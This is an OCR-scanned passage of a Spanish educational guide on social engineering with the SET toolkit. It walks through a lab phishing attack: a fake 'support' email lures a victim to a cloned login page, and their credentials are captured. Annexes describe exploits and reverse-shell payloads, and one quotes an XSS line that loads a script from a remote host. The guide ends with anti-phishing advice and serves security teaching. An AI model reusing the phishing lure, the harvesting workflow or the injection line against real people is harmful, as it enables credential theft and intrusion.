(Cuenta de correo victima, cuenta de correo atacante con contrasefa).
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What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
3.

Return to main menu.

Enter your choice: 1
Enter who you want to send email to: vicctima@gmail.com

What option do you want to use?

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

Enter your choice: 1
Enter your GMAIL email address: luh4nd@gmail.com

Enter your password for gmail (it will not be displayed back to you):

Do you want to flag this message/s as high priority? yes or 'no: no

Imagen 65 — Informacion para envio de mensaje de correo electrénico

A continuacion, se procede a crear el asunto y cuerpo del mensaje, especificando en el
contenido la direccién IP del atacante, que sera el enlace a la pagina fraudulenta.
Enter the subject of the email: Infoormacion

Do you want to send the message as html or plain?

HTML
2. Plain

Enter your choice (enter for plainj: 1

Enter the body of the message, hit return for a new Lline.

Type your body and enter control+c when you are finished: Buena tardes ... Se in
forma gque se ha cambiac la forma de acceder a la cuenta de correc institucional,
ahora deben ingresar usando la siguiente direccion http://192.168.226.132

Mext line of the body: Gracias por la atencion prestada

Next line of the body: cualguier inguietud o inconveniente favor comunicarse con
el equipo de soporte tecnico

Next line of the body: ~C

Imagen 66 — Asunto y Cuerpo mensaje de correo electrénico

En este momento SET quedara a la espera de que la victima ingrese a la url del correo
qgue se envid y digite los datos en la pagina fraudulenta para que los retorne al atacante.
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{= Gmail - Infoormacion - vicctima@gmail.com, - Windows Internet Explorer

@.\__/-. v M https google.cam v & |45 x| £ databinding Bk
File Edit View Favorites Tools  Help
{3 Favarites {5 ﬂ - £ -
- ¥
[ Gmail - Infoormacion - vicckima@gmail, com & ¥ E] - [2] = - Page - Safety - Tools - @v
Correo : A e ot S ~
Tube cutter - TECO tube expanders company Tube Installation & Remov Acerca de estos anuncios < » &
Contactos
Tareas « Volver a Recibidos = Archivar = Marcar como spam | Eliminar Moveraw | Efiquetas v
Mas acciones v
Redactar
— 1 de 24 Siguiente »
Recibidos (2) v
: e entana nueva
Buzz @ Infoormacion Recibidos |x i
Imprimir todo
Destacados ¥¢ luh4n4 15:24 (hace 3 horas) | 4 Responder | v
Enviados ae B

Anuncios
Buena tardes ... Se mforma que se ha camblao la forma de acceder a

Borradores (1
M la cuenta de correo in

Bridge Saw .Edage Polist

Personal siguiente direccion hitp//192. 168,226, 132 Gracias por la atencion reliable and good quality ma

Viaie prestada cualquier inquietud o inconveniente favor comunicarse con &l Ask about Sasso and get th

6 ], equipo de soporte tecnico W W sassomeccanica. it/
masy

Rothenberger USA
Chat -|[= Pipe Tools, Threading, Bend

4 Responder = Reenviar S |nvitar a luh4n4@qmail com a chatear Cable Puling, Discount Price
Buscar, afiadir o invitar www . cscindustrial com
@ vic tima Mining Tools
— L _ CAD systems, Pandatex cu %
< J 2
& Internet ¢y - ®ioow -

= Start /= Gmail - Infoormacion ...

Imagen 67 —Mensaje de correo electronico en la cuenta de la victima

Al ingresar a la url, la victima es dirigida a la pagina fraudulenta en donde ingresa los
datos para la autenticacion, al momento de concluirla, es re direccionada a la pagina real
informandole de un error de digitacion en su usuario o contrasefia mientras sus datos son
enviados al atacante.
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= M2w.com.co - Windows Internet Explorer

File Edit WYiew Favorites Tools  Help

g Favorites | 53 L A -

{éMZw.com.co

= v Page ~ Safety = Tools = ﬂv

Gmail

Sign in to your account at
M2w.com.co

Username:
@mz2w.com.co
Password:
[] Stay signed in

Can't access your account?

oal Welcome to M2w.com.co

Less spam, plenty of space and access from anywhere.

Welcome to your email for M2w.com_co, powered by Google, where
email is more intuitive, efficient and useful.

+ Keep unwanted messages out of your inbox with Google's
powerful spam blocking technology

+ Keep any message you might need down the road, and then find
it fast with Google search

» Send mail, read new messages and search your archives
instantly fram your phone

Mew! One-stop information sharing with Google Sites

Building a site is as simple as editing a document, and you don't

need anyone's help to get started.

Check out these example sites: Company intranet, Team project,
=

Inkernet /3 -

#100% -

Imagen 69 — Capturade los datos de la victima
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CONCLUSIONES

La clonacion de sitios web es la técnica mas usada por los delincuentes informaticos para
conseguir informacion sensible de cualquier persona, entidad u organizacién. Con estas
guias se comprueba que la creacion de estos ataques se hace mediante un proceso
simple de ejecucion de opciones, y es tan sencilla su creacion como la facilidad con que
son enganadas las victimas. Por esta razén se puede concluir que es de vital importancia
tener en cuenta las siguientes recomendaciones:

e Implementar una solucion antiphishing y antipharming completa, aplicando la
proteccion a todos los puntos de entrada posibles, incluido el Gateway de Internet,
el Gateway de mensajeria, los clientes de punto final, los servidores de punto final
y la red.

e Actualizar el explorador, el correo electronico y la mensajeria instantanea con los
parches de seguridad mas recientes.

e Informar a los empleados y en general a cualquier usuario, sobre las amenazas
mas recientes, las formas de infeccion y sobre cémo proteger los servidores, PC y
dispositivos moviles.

o Desconfiar. No fiarse del criterio personal para intentar distinguir si una solicitud de
informacion confidencial es legitima o ilegal. Los creadores de phishing y pharming
son delincuentes sofisticados con mucha experiencia en estafar incluso a los
usuarios mas informados.

e No confiar nunca su informacién personal o confidencial a personas o empresas
desconocidas.

o Eliminar todos los correos electronicos que soliciten informacion confidencial.

e Buscar ayuda y asistencia de Tl si se recibe alguna comunicacion a través de
correo electrénico, teléfono, fax 0 mensajeria instantanea, que solicite informacion
empresarial o personal.
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ANEXOS

ANEXO 1

Descripcion Exploits

1. SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)

DIl es un archivo ejecutable que permite compartir cédigo y otros recursos para realizar
ciertas tareas de las cuales dependen casi todas las aplicaciones Windows. De forma
predeterminada, cuando una aplicacion no tiene un camino definido estaticamente a un
archivo DLL que requiere, se pasa por un proceso para encontrarlo de forma dinamica. Al
hacer esta solicitud primero busca desde el directorio que se ejecuta y luego busca en el
directorio del sistema, el directorio de sistema de 16 bits, el directorio de Windows, el
directorio actual y, a continuacion la lista de directorios en el sistema operativo variable de
entorno PATH. En la busqueda de estos caminos, la aplicacion utilizara el archivo DLL
que se encuentra en primer lugar. La idea central es infectar o reemplazar los DLL usados
para poner en marcha cualquier aplicacion y asi muy facilmente poder hackear un sistema

2. Adobe Flash Player 'Button' Remote Code Execution

Este médulo explota una vulnerabilidad en el manejo de ciertas peliculas SWF'™ de
versiones 9.x y 10.0 de Adobe Flash Player. Adobe Reader y Acrobat son también
vulnerables, al igual que cualquier otra aplicacion que puede integrar Flash Player. La
ejecucion arbitraria de codigo se logra mediante la incorporacion de una pelicula flash
especialmente disefiada en un documento PDF

3. Adobe CoolType SING Table 'uniqueName' Overflow (0day):

Explota una vulnerabilidad critica en Adobe Reader 9.3.4 y versiones anteriores (en
Windows, Macintosh y UNIX) al igual que en Adobe Acrobat 9.3.4 y versiones anteriores
(en Windows y Macintosh), potencialmente puede causar una caida de la aplicacion
permitiendo a un atacante tomar el control del sistema afectado. La vulnerabilidad es
causada debido a un error de limites en CoolType.dll'' y sera aprovechada para provocar
un desbordamiento de bufer al abrir un archivo PDF especialmente disefiado.

1% formato de archivo de graficos vectoriales creado por la empresa Macromedia (actualmente
Adobe Systems).

" Modulo de Adobe que mejora la resolucién de texto en pantalla de contenidos digitales.
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4. Adobe Flash Player 'newfunction’ Invalid Pointer Use

El exploit'® aprovecha una vulnerabilidad de desbordamiento de bufer'® que puede ser
explotada de forma remota. Un atacante puede sacar provecho de este problema para
ejecutar un codigo malicioso en el equipo del usuario. Para que la explotacion sea exitosa,
el usuario debe tener instalada en su PC cualquier version de Adobe Flash Player anterior
ala9.0.124.0.

5. Adobe Collab.collectEmailinfo Buffer Overflow

Produce un desbordamiento de bufer en Acrobat y Adobe Reader. EI método
Collab.collectEmaillnfo () de JavaScript no puede validar la longitud de la cadena que
resulta en un desbordamiento de pila (bufer). Con un archivo especialmente disefiado
(PDF), un atacante puede provocar la ejecucién de cédigo arbitrario™ en un sistema
vulnerable.

6. Adobe Collab.geticon Buffer Overflow

Produce un desbordamiento de bufer basado en un problema de validacion de entradas
en un método de JavaScript en Adobe Reader y Adobe Acrobat 9, permite a atacantes
remotos ejecutar codigo arbitrario a través de un archivo especialmente disefiado (PDF).

7. Adobe JBIG2Decode Memory Corruption Exploit

Produce un desbordamiento de bufer en versiones anteriores de Adobe Reader 9.0 y
Acrobat 9.0, permite a atacantes remotos ejecutar cédigo arbitrario a través de un archivo
PDF, relacionados con una funcién de no tener JavaScript instalado y, posiblemente, una
secuencia de imagenes incrustadas comprimidas con JBIG2.

2 es un programa o codigo que "explota" una vulnerabilidad del sistema o de parte de él para
aprovechar esta deficiencia en beneficio del creador del mismo.

% es un error de software que se produce cuando un programa no controla adecuadamente la
cantidad de datos que se copian sobre un area de memoria reservada a tal efecto (buffer), de
forma que si dicha cantidad es superior a la capacidad preasignada los bytes sobrantes se
almacenan en zonas de memoria adyacentes, sobrescribiendo su contenido original. Esto
constituye un fallo de programacion.

' Cédigo arbitrario hace referencia a cédigo que no puede ser interpretado por una aplicacién o
sistema operativo pero si lo puede ser si esa aplicacidn o sistema operativo sufre un

desbordamiento de bufer.
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8. Adobe PDF Embedded EXE Social Engineering

Este médulo incorpora una carga util Metasploit’™ en un archivo PDF existente. EI PDF

resultante puede ser enviado a un destino como parte de un ataque de ingenieria social.
9. Adobe util.printf() Buffer Overflow

Este mddulo explota un desbordamiento de bufer en Adobe Reader y Adobe Acrobat
Professional <8.1.3. Al crear un PDF especialmente disefiado que contiene un formato de
entrada incorrecto util.printf (), un atacante podria ejecutar cédigo arbitrario.

10. Custom EXE to VBA (sent via RAR) (RAR required)
11. Adobe U3D CLODProgressiveMeshDeclaration Array Overrun

Este modulo explota un desbordamiento de matriz en Adobe Reader y Adobe Acrobat.
Las versiones afectadas son <7.1.4, <8.1.7, y <9.2. Al crear un PDF especialmente
disenado que contiene datos con formato incorrecto U3D, un atacante podria ejecutar
codigo arbitrario.

12. Adobe PDF Embedded EXE Social Engineering (NOJS)

Este mddulo incorpora una carga util de Metasploit en un archivo PDF existente. El PDF
resultante puede ser enviado a un destino como parte de un ataque de ingenieria social.
Las versiones afectadas son Adobe Reader 9.3.2, Adobe Acrobat 9.3.2 y versiones
anteriores.

ANEXO 2

Descripcion Payloads

' Es un proyecto open source de seguridad informatica que proporciona informacion acerca de
vulnerabilidades de seguridad y ayuda en tests de penetracién y en el desarrollo de firmas para

Sistemas de Deteccién de Intrusos.
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1. Windows Shell reverse_TCP: Contiene el cddigo para abrir una conexién de red
y carga el resto de codigo requerido por el exploit desde la maquina del atacante,
permitiendo hacer una conexion de vuelta hacia el sistema atacante, el resto del
payload es cargado en memoria, y luego se abre un intérprete Shell.

2. Windows reverse_TCP meterpreter: Inicia un Shell Meterpreter en la victima que
da varias opciones como (Shell, keylogger, captura de pantalla, subida/bajada de
ficheros, etc) y se envia de nuevo al atacante.

3. Windows reverse TCP VNC DLL: Este payload se conecta hacia el atacante
inyectando una DLL de vnc, la victima tiene que abrirlo con su navegador y
posteriormente aceptarlo para poder hacer la conexion inversa.

4. Windows bind Shell: Asigna la Shell a un puerto especifico, es decir que abre un
puerto de la maquina de la victima para que el atacante se conecte ahi.

5. Windows bind Shell x64: Maneja el mismo método del payload anterior, con la
diferencia de que es para Windows de 64 bits.

6. Windows Shell reverse_TCP X64: Basicamente es la misma técnica del primer
payload, pero este es para Windows de 64 bits.

7. Windows Meterpreter reverse_TCP x64: Inicia un Shell Meterpreter en Windows
de 64 bits y lo envia de regreso al atacante.

8. Windows Meterpreter egress buster:

9. Windows Meterpreter reverse HTTPS: Se trata de un backdoor persistente sobre
HTTPS, dando la posibilidad al atacante de un sin nimero de escenarios de
control remoto.

10. Windows Meterpreter reverse DNS:

11. Import your own executable: Esta opcion permite importar un archivo por el
atacante

Anexo 3

Descripcion Exploits.
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1. Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability

Este mddulo explota una vulnerabilidad en Adobe Flash Player que ha sido descubierta y
explotada activamente en el medio silvestre. Por incrustacion de un archivo .swf, Flash se
bloquea debido a un uso no valido de un tipo de objeto, que permite a los atacantes
sobrescribir un puntero en la memoria, y permiten la ejecucién de codigo arbitrario.

2. Internet Explorer CSS Import Use After Free

Microsoft Internet Explorer contiene una vulnerabilidad debido a un error de uso después
de la liberacion dentro de la coleccion de la libreria 'mshtml.dll " que permite la
manipulacién del contenido web que contiene una secuencia hecha a mano de las normas
de importacion de CSS

Esta vulnerabilidad en el cliente podria permitir a un atacante obtener la capacidad de
ejecucion remota de cédigo arbitrario con los mismos permisos que el usuario que esta
actualmente conectado Si el usuario es un administrador, el atacante podria instalar
software malicioso y comprometer aun mas el sistema. Las versiones vulnerables son
Internet Explorer 8 y anteriores

3. Microsoft WMI Administration Tools ActiveX Buffer Overflow

Este mddulo explota una cuestion de confianza de memoria en Microsoft Ml Herramientas
de administracion de control de ActiveX. Cuando se procesa una pagina HTML
especialmente disefado, el SingleView.ocx control ActiveX(1.50.1131.0) tratara el
parametro 'ICtxHandle a la dContextRef "y" métodosReleaseContext "como un indicador
de confianza. Se hace una llamada indirecta a través de este puntero que conduce a la

ejecucion de codigo arbitrario.

Este exploit utiliza una combinacién de la pila de fumigacion y el médulo de la RED.2.0
mscorie.dll 'para eludir el DEP y ASLR. Este médulo no opt-in a ASLR. Como tal, este
médulo debe ser confiable en todas las versiones de Windows.

4. Internet Explorer CSS Tags Memory Corruption
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Una vulnerabilidad en Microsoft Internet Explorer puede permitir la ejecucién remota de
cddigo. Un usuario tendria que visitar un sitio Web malintencionado o abrir un archivo
adjunto de correo electrénico HTML para que un ataque que produzca.

La vulnerabilidad permite la ejecucion remota de cddigo. La falla radica en el
procesamiento inadecuado especialmente disefiado de las etiquetas CSS. La explotacion
con éxito permitiria la ejecucién de cédigo para obtener derechos sobre la victima.
Version vulnerable Internet Explorer 7.

5. Sun Java Applet2ClassLoader Remote Code Execution

Este mddulo explota una vulnerabilidad en Java Runtime Environment que permite a un
atacante escapar del recinto de seguridad de Java, mediante el suministro de una base de
cédigo que apunta a un directorio de confianza y un codigo que es una direccion URL que
no contiene los punteros de un applet permitiendo la ejecucion sin la caja de arena'®. La
vulnerabilidad afecta a la versidon 6 y anteriores.

6. Sun Java Runtime New Plugin docbase Buffer Overflow

Este mddulo explota una falla en el nuevo plugin de componentes de Sun JavaRuntime
Environment v6 antes de la actualizacidén 22. Al especificar los parametros para el nuevo
plug-in, un atacante puede provocar un desbordamiento de bufer basado en pila y
ejecutar coédigo arbitrario. Cuando el nuevo plugin se invoca con un parametro
“launchjnlp" y se copia el contenido del parametro "Docbase" a un bufer de pila a través
de la funcion "sprintf". Desde la version 6 Actualizacion 10 son afectadas por esta
vulnerabilidad.

7. Microsoft Windows WebDAV Application DLL Hijacker

'S El modelo de seguridad original de la plataforma Java es el conocido como el modelo del cajon de arena
(sandbox model), que proporcionaba un entorno muy restringido en el que ejecutar cédigo no fiable
obtenido de la red.
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En este médulo se presenta un directorio de archivo de extensiones que puede conducir a
la ejecucion de codigo cuando se abre desde el recurso compartido. La opcion por defecto
EXTENSIONS debe estar configurada para especificar un tipo de aplicacion vulnerable.

8. Adobe Flash Player AVM Bytecode Verification Vulnerability

Este modulo explota una vulnerabilidad en Adobe Flash Player version 10.2.152.33 vy
anteriores. Este problema esta causado por una falla en la Iégica de verificacion AVM2
ActionScript3. Esto da lugar a JIT inseguro (Just-In-Time) cédigo que se ejecuta. En
concreto, el resultado esta en la memoria sin inicializar que hace referencia y luego lo
ejecuta. Esta vulnerabilidad puede ser aprovechada en IE6, IE7 y Firefox 3.6 vy
probablemente otros navegadores.

9. Adobe Shockwave rcsL Memory Corruption Exploit

Este mdodulo explota una debilidad en el manejo del reproductor de peliculas Adobe
ShockwaveDirector (.DIR). Existe una vulnerabilidad de corrupcién de memoria producida
a través de rcsL. Esta vulnerabilidad fue descubierta por http://www.abysssec.com.

10. Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow

Este mdodulo explota una vulnerabilidad en el manejo de Smart INdependent Glyplets
(SING) en las versiones 8.2.4 y 9.3.4 de Adobe Reader y anteriores.

11. Apple QuickTime 7.6.7 Marshaled_pUnk Code Execution

Descripcién de un problema de validacion de entrada en el control ActiveX de QuickTime.
Un parametro opcional "_Marshaled_pUnk 'se puede pasar al controlActiveX para
especificar un niumero entero arbitrario que posteriormente se trata como un puntero. Al

©080



http://www.abysssec.com/�

Guias practicas para uso de técnicas de ingenieria social con la herramienta SET incluida en la
distribucidon BackTrack 4 R2

visitar un sitio web malicioso se puede provocar la finalizacién inesperada de la aplicacién
o la ejecucion de cédigo arbitrario. Este problema no afecta a los sistemas Mac OS X. Es
vulnerable en QuickTime version 7.6.7 y anteriores en Windows 7, Vista, XP SP2 o
posterior se ven afectadas.

12. Microsoft Help Center XSS and Command Execution (MS10-042)

Ayuda y soporte técnico es la aplicacién por defecto para acceder a la documentacion en
linea de Microsoft Windows. Microsoft admite el acceso a documentos de ayuda directa a
través de las direcciones URL mediante la instalacién de un controlador de protocolo para
el régimen de "hcp". Debido a un error en la validacion de la entrada al hcp:// en
combinacion de una secuencia de comandos con un sitio local, entre la vulnerabilidad y
un mecanismo especializado para poner en marcha el trigger XSS, la ejecucion arbitraria
de comandos se puede lograr. En Internet Explorer 7 en Windows XP SP2 o SPS3, la
ejecucion de cédigo es automatica .Si WMP9 estd instalado, se puede utilizar para iniciar
la explotacion de forma automatica. Si IE8 y WMP11, puede ser utilizado para lanzar el
ataque, pero los dos cuadros de dialogo emergente preguntando al usuario si la ejecucién
debe continuar. Esta hazafia detecta si los mecanismos no intrusivos estan disponibles y
se utilice uno si es posible. En el caso de ambos IE8 y WMP11, el exploit utiliza de forma
predeterminada un iframe en Internet Explorer 8, pero se puede configurar mediante el
establecimiento de la opcién DIALOGMECH a "ninguno " o "jugador".

13. Microsoft Internet Explorer iepeers.dll Use After Free (MS10-018)

Este mddulo explota una vulnerabilidad de uso después de una liberaciéon dentro de la
funcionalidad de DHTML en comportamientos de Microsoft Internet Explorer versiones 6 y
7.. NOTA: Internet Explorer 8 e Internet Explorer 5 no se ven afectados

14. Microsoft Internet Explorer Tabular Data Control Exploit (MS10-018)

Este médulo explota una vulnerabilidad de corrupciéon de memoria en los Datos Tabulares
de control ActiveX de Internet Explore. Versiones vulnerables IE5 y IE6.
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15. Microsoft Internet Explorer "Aurora" Memory Corruption (MS10-002)

Este modulo explota un fallo de corrupcién de memoria en Internet Explorer. Este defecto
se encuentra en la naturaleza y fue un componente clave de los ataques Operacién
Aurora que conducen a la divulgacién de un numero de companias de alto perfil. El codigo
de explotacion es un puerto directo de la muestra publica publicado en la pagina de
analisis de malware Wepawet. La técnica utilizada por este mddulo esta idéntica a la
muestra publica, como tal, sélo Internet Explorer 6 puede ser explotado de forma fiable
aunque la versiones posteriores también son vulnerables.

16. Microsoft Internet Explorer 7 Uninitialized Memory Corruption (MS09-002)

Una vulnerabilidad en Microsoft Internet Explorer 7 puede permitir la ejecucion remota de
cédigo. El defecto es especifico del método utilizado por Internet Explorer, para acceder a
los objetos que han sido previamente eliminados. La explotacion se puede lograr a través
de una web especialmente disefiada paginada para explotar la vulnerabilidad. La
ejecucion de cédigo sera posible en el contexto del usuario conectado. Los sistemas
vulnerables Internet Explorer 7 SP2,

17. Microsoft Internet Explorer Style getElementsbyTagName Corruption (MS09-
072)

Este modulo explota una vulnerabilidad en la funcion getElementsByTagName tal como
se aplica dentro de Internet Explorer.

18. Microsoft Internet Explorer isComponentinstalled Overflow

Este modulo explota un desbordamiento del bufer en Internet Explorer. Este error fue
parcheado en Windows 2000 SP4 y Windows XP Service Pack 1 de acuerdo aMSRC.

19. Microsoft Internet Explorer Explorer Data Binding Corruption (MS08-078)
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Microsoft Internet Explorer podria permitir a un atacante remoto ejecutar cédigo arbitrario
en el sistema, causada por un error relacionado con el enlace de datos al analizar una
pagina Web. Persuadiendo a una victima a visitar una pagina Web maliciosa, un atacante
remoto podria explotar esta vulnerabilidad para corromper la memoria y ejecutar cédigo
arbitrario en el sistema con los privilegios de la victima.

20. Microsoft Internet Explorer Unsafe Scripting Misconfiguration

Este exploit se aprovecha de la "Dar formato y los controles ActiveX de secuencia de
comandos no marcados como seguros para secuencias de comandos" establecer dentro
de Internet Explorer. Cuando se establece esta opcidn, |IE permite el acceso al control
WScript.Shell ActiveX, que permite Javascript para interactuar con el sistema de archivos
y los comandos de ejecucién. Este fallo de seguridad no es poco comun en los entornos
corporativos de la "Intranet" o zonas "sitio de confianza. Con el fin de guardar los datos
binarios en el sistema de archivos, acceso ADODB.Stream se requiere, que en IE7 se
disparara una violacion el acceso entre dominios. Como tal, se escribe el cddigo en un
vbs. Fichero y ejecutarlo desde alli, donde no existen tales restricciones. Cuando se
establece a través de la directiva de dominio, la entrada de registro mas comunes a
modificar es HKLM \ Software \ Policies \ Microsoft \Windows \ CurrentVersion \ Internet
Settings \ Zones \ 1\ 1201, que si se pone a "0"las fuerzas de los controles ActiveX no
marcados como seguros para scripting para estar habilitado para la zona de intranet. En
este modulo se crea un javascript / htmlhibrido que se representara correctamente ya sea
a través de una forma directa o como http://msf-server/ Javascript incluyen, por ejemplo
en: http://intranet-server/xss.asp?id = >
<script%20src=http://10.10.10.10/ie_unsafe_script.js> </script>.

21. FireFox 3.5 escape Return Value Memory Corruption

Este mddulo explota una vulnerabilidad de corrupcion de memoria en el navegador
Mozilla Firefox. Este defecto se produce cuando un error en el intérprete de Javascript no
preservar el valor de retorno de la funcién escape () y los resultados en la memoria sin
inicializar esta utilizando en su lugar. Este médulo sélo se ha probado en Windows, pero
deberia funcionar en otras plataformas.
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22. Metasploit Browser Autopwn (USE AT OWN RISK!)

Este mddulo utiliza una combinacién de cliente y técnicas del lado del servidor de huella
digital clientes HTTP y, a continuacion de forma automatica los explotan.

Después de ataque con éxito se crea Meterpreter sesion, obteniendo acceso completo al
destino. Meterpreter es un conjunto de herramientas para interactuar con los procesos,
redes y el sistema de archivos de la meta.
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Anexo 4 — GUIAS DE BUENAS PRACTICAS

LA MEJOR MANERA DE ESTAR PROTEGIDO
ES EL CONOCIMIENTO

El factor humano es
el eslabénmas
débil en un sistema
de seguridad
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